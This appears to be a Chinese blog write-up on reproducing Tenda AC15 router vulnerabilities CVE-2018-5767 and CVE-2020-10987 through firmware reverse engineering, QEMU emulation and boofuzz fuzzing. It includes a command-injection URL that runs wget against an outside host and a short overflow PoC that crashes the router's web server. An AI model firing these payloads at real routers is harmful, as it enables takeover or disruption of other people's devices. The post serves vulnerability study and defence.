固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现

设备:Tenda AC15 路由器(可能包含其他系列路由器)

固件版本:<V15.03.05.18

测试固件:US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

0x10 漏洞分析

0x11 httpd 逆向

使用 binwalk 解压固件,打开文件系统 bin/httpd,使用 IDA 分析

在这里插入图片描述
虽然该二进制已经 striped,没有符号表,但是仍然能够看到部分函数名,这些名称往往是外部库函数或者是开源代码。如上所示,从这些函数名称可以推断 httpd 使用了 GoAhead

在这里插入图片描述
从字符串信息可以进一步推断组件版本信息,2.1.8。找到类似版本 goahead 代码,笔者从 github 上找到了一个大版本接近的源码 2.5。由于 goahead 使用了大量回调,仅仅是从反编译的代码,很难看出处理数据的流程函数。所以,从源码中,简单分析一下处理数据的流程

websUrlHandlerDefine 负责注册各个具体的处理函数,将各个 handlers 放入一个数组中

在这里插入图片描述
经过层层回溯,找到最终调用各个处理函数的地方(websUrlHandlerRequest

在这里插入图片描述
也就是说,goahead 会根据不同的 url 来决定由哪个函数进行 http 报文的处理。

wp 是真正传入的待处理数据,是一个结构体,此结构体至关重要,IDA 只是会把结构体识别成数组,因此反编译代码中,往往找不到各个元素的定义。我们需要将相关结构体添加到 IDA

IDA中导入C语言声明的结构体

在 View–>Open Subviews–>Local Types 中可以看到本地已有的结构体,右击 insert.可以添加 C 语言声明的结构体

对于 AC15 httpd ,进一步分析 wp 入参的定义,添加以下两个结构体

struct ringq_t{
    unsigned char   *buf;               /* Holding buffer for data */
    unsigned char   *servp;             /* Pointer to start of data */
    unsigned char   *endp;              /* Pointer to end of data */
    unsigned char   *endbuf;            /* Pointer to end of buffer */
    int             buflen;             /* Length of ring queue */
    int             maxsize;            /* Maximum size */
    int             increment;          /* Growth increment */
}
struct websRec {
    ringq_t         header;             /* Header dynamic string */
    __time_t            since;              /* Parsed if-modified-since time */
    char*       cgiVars;            /* CGI standard variables */
    char*       cgiQuery;           /* CGI decoded query string */
    __time_t            timestamp;          /* Last transaction with browser */
    int             timeout;            /* Timeout handle */
    char            ipaddr[32];         /* Connecting ipaddress */
    char            type[64];           /* Mime type */
    char            *dir;               /* Directory containing the page */
    char            *path;              /* Path name without query */
    char            *url;               /* Full request url */
    char            *host;              /* Requested host */
    char            *lpath;             /* Cache local path name */
    char            *query;             /* Request query */
    char            *decodedQuery;      /* Decoded request query */
    char            *authType;          /* Authorization type (Basic/DAA) */
    char            *password;          /* Authorization password */
    char            *userName;          /* Authorization username */
    char            *cookie;            /* Cookie string */
    char            *userAgent;         /* User agent (browser) */
    char            *protocol;          /* Protocol (normally HTTP) */
    char            *protoVersion;      /* Protocol version */
    int             sid;                /* Socket id (handler) */
    int             listenSid;          /* Listen Socket id */
    int             port;               /* Request port number */
    int             state;              /* Current state */
    int             flags;              /* Current flags -- see above */
    int             code;               /* Request result code */
    int             clen;               /* Content length */
    int             wid;                /* Index into webs */
    char            *cgiStdin;          /* filename for CGI stdin */
    int             docfd;              /* Document file descriptor */
    int             numbytes;           /* Bytes to transfer to browser */
    int             written;            /* Bytes actually transferred */
    void            (*writeSocket)(struct websRec *wp);
}

0x12 CVE-2018-5767 栈溢出

sub_2D3F0 函数中,也发现类似的回调函数注册,只是这里,有一个不同寻常的函数 R7WebsSecurityHandler,应该是路由器开发人员自己实现的一个函数

在这里插入图片描述
找到此函数定义,并将入参 1 修改为结构体 websRec

在这里插入图片描述
sscanf 会从 cookie 字段读取 password 的值,复制到局部变量 v35 ,从而导致栈溢出。

0x13 CVE-2020-10987 远程命令执行

这个漏洞存在多个系列路由器中,包括但不限于以下型号腾达路由器,以及各个型号所有已发布的固件版本都受该漏洞影响,经过验证和分析,该安全问题影响腾达路由器的最新版本固件。

  • AC 6
  • AC 7
  • AC 8
  • AC 9
  • AC 11
  • AC 15

腾达(Tenda) AC 提供Web服务组件中的goform插件存在一个设计缺陷,权限验证不严格,可在未登陆验证的情况下发送特定的数据包成功利用此问题,触发任意命令执行,进而控制路由器设备,Web服务为root权限启动,获取到腾达路由器的最高权限。

这个漏洞在笔者下载的目标固件中,并不存在,所以没有进一步分析,其实漏洞也是比较简单的,命令执行的路径为

http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog

结合目标目标二进制的反编译程序,就知道了,分析步骤还是类似的。

0x20 搭建目标进程仿真环境

0x21 绕过判断条件

解压固件,尝试运行 httpd,会卡在如下界面

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd                                                       
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

      ****** WeLoveLinux****** 

 Welcome to ...

分析 httpd 的反编译代码,在函数入口处发现调用了 check_network 外部函数,该函数如果返回值为 0,则一直处于睡眠状态

在这里插入图片描述
比较快捷的方式就是修改 httpd 对应的汇编代码,直接绕过该判断条件

在这里插入图片描述
一个很好用的在线汇编和反汇编器

在这里插入图片描述
此时再次运行,目标进程有了新的进展

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd                                                                    1 ⚙
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

      ****** WeLoveLinux****** 

 Welcome to ...
connect: No such file or directory
Connect to server failed.
connect cfm failed!

通过搜索关键字 connect cfm failed! 定位到相关代码,继续修改 httpd

在这里插入图片描述
再次运行 httpd,发现得到的 IP 地址明显有问题

在这里插入图片描述
这里是因为没有获取到网卡信息,导致得到了一个随机的 IP 地址,也就是说,虽然该进程跑起来了,但是我们没有办法通过宿主机的网卡连接到 httpd

0x22 修复网卡配置信息

回到 check_network 函数,这是一个外部函数,定义在 libcommon.so

在这里插入图片描述
继续分析

int getLanIfName()
{
  return get_eth_name(0);
}

又发现一个外部函数 get_eth_name,其定义在库 libChipApi.so

在这里插入图片描述
因此,路由器守护进程 httpd 想要获取的网卡名称是 “br0”。直接在宿主机上新建一个名为 “br0” 的网卡

sudo tunctl -t br0 -u lys          
sudo ifconfig br0 192.168.10.1/24 

此时运行 httpd,即可发现该进程已经成功获取网卡的 IP 地址

在这里插入图片描述

0x30 漏洞发现与验证

0x31 协议 fuzz

boofuzz 是一个专门针对协议进行 fuzz 的工具,功能十分强大,但是缺乏相关文档。入门请参考:IoT 设备网络协议模糊测试工具boofuzz实战。根据相关报文,定制脚本如下

from boofuzz import *

IP = "192.168.0.5"
PORT = 80

def check_response(target, fuzz_data_logger, session, *args, **kwargs):
    fuzz_data_logger.log_info("Checking test case response...")
    try:
        response = target.recv(512)
    except:
        fuzz_data_logger.log_fail("Unable to connect to target. Closing...")
        target.close()
        return

    #if empty response
    if not response:
        fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")
        target.close()
        return

    #remove everything after null terminator, and convert to string
    #response = response[:response.index(0)].decode('utf-8')
    fuzz_data_logger.log_info("response check...\n" + response.decode())
    target.close()
    return
    
def main():
    '''
    options = {
        "start_commands": [
            "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd"
        ],
        "stop_commands": ["echo stopping"],
        "proc_name": ["/usr/bin/qemu-arm-static ./httpd"]
    }
    procmon = ProcessMonitor("127.0.0.1", 26002)
    procmon.set_options(**options)
    '''

    session = Session(
        target=Target(
            connection=SocketConnection(IP, PORT, proto="tcp"),
            # monitors=[procmon]
        ),
        post_test_case_callbacks=[check_response],
    )

    s_initialize(name="Request")
    with s_block("Request-Line"):
        # Line 1
        s_group("Method", ["GET"])
        s_delim(" ", fuzzable=False, name="space-1-1")
        s_string("/goform/123", fuzzable=False)    # fuzzable 1
        s_delim(" ", fuzzable=False, name="space-1-2")
        s_static("HTTP/1.1", name="HTTP_VERSION")
        s_static("\r\n", name="Request-Line-CRLF-1")
        # Line 2
        s_static("Host")
        s_delim(": ", fuzzable=False, name="space-2-1")
        s_string("192.168.0.5", fuzzable=False, name="IP address")
        s_static("\r\n", name="Request-Line-CRLF-2")
        # Line 3
        s_static("Connection")
        s_delim(": ", fuzzable=False, name="space-3-1")
        s_string("keep-alive", fuzzable=False, name="Connection state")
        s_static("\r\n", name="Request-Line-CRLF-3")
        # Line 4
        s_static("Cookie")
        s_delim(": ", fuzzable=False, name="space-4-1")
        s_string("bLanguage", fuzzable=False, name="key-bLanguage")
        s_delim("=", fuzzable=False)
        s_string("en", fuzzable=False, name="value-bLanguage")
        s_delim("; ", fuzzable=False)
        s_string("password", fuzzable=False, name="key-password")
        s_delim("=", fuzzable=False)
        s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True)    # fuzzable 2
        s_static("\r\n", name="Request-Line-CRLF-4")
        # over
        s_static("\r\n")
        s_static("\r\n")

    session.connect(s_get("Request"))
    session.fuzz()

if __name__ == "__main__":
    main()

目标进程崩溃

在这里插入图片描述
boofuzz 日志中能够看到相应的 crash,说明该用例导致进程崩溃

在这里插入图片描述

0x32 POC

可以编写简单的脚本验证

import requests

ip = 192.168.0.5
url = "http://%s/goform/execCommand"%  ip
cookie = {
    
    "Cookir":"password=" + "A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text

下一步:漏洞利用,栈溢出的利用相对来说还是比较简单的…

0x40 总结

对于传统路由器,单个二进制依赖程度不高,往往能够独立运行,在这种情况下,我们是有可能直接使用 qemu 将一些核心业务拉起来。本文就是利用这种方法,搭建了漏洞复现环境。在分析漏洞时,结合代码类比技术,利用开源代码,对二进制进行修复,这样能够让我们更加清楚整个漏洞形成的原因。

但是,这种复现环境的缺陷也是致命的:没有将整个核心业务跑起来,不知道具体业务场景,也就无法更好的定制化 Fuzz。因此,这种方式更加适合漏洞复现,而不是漏洞发现,要想挖掘路由器的漏洞,最好的方式还是购买真实产品,或者进行系统级别的仿真。

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/113800058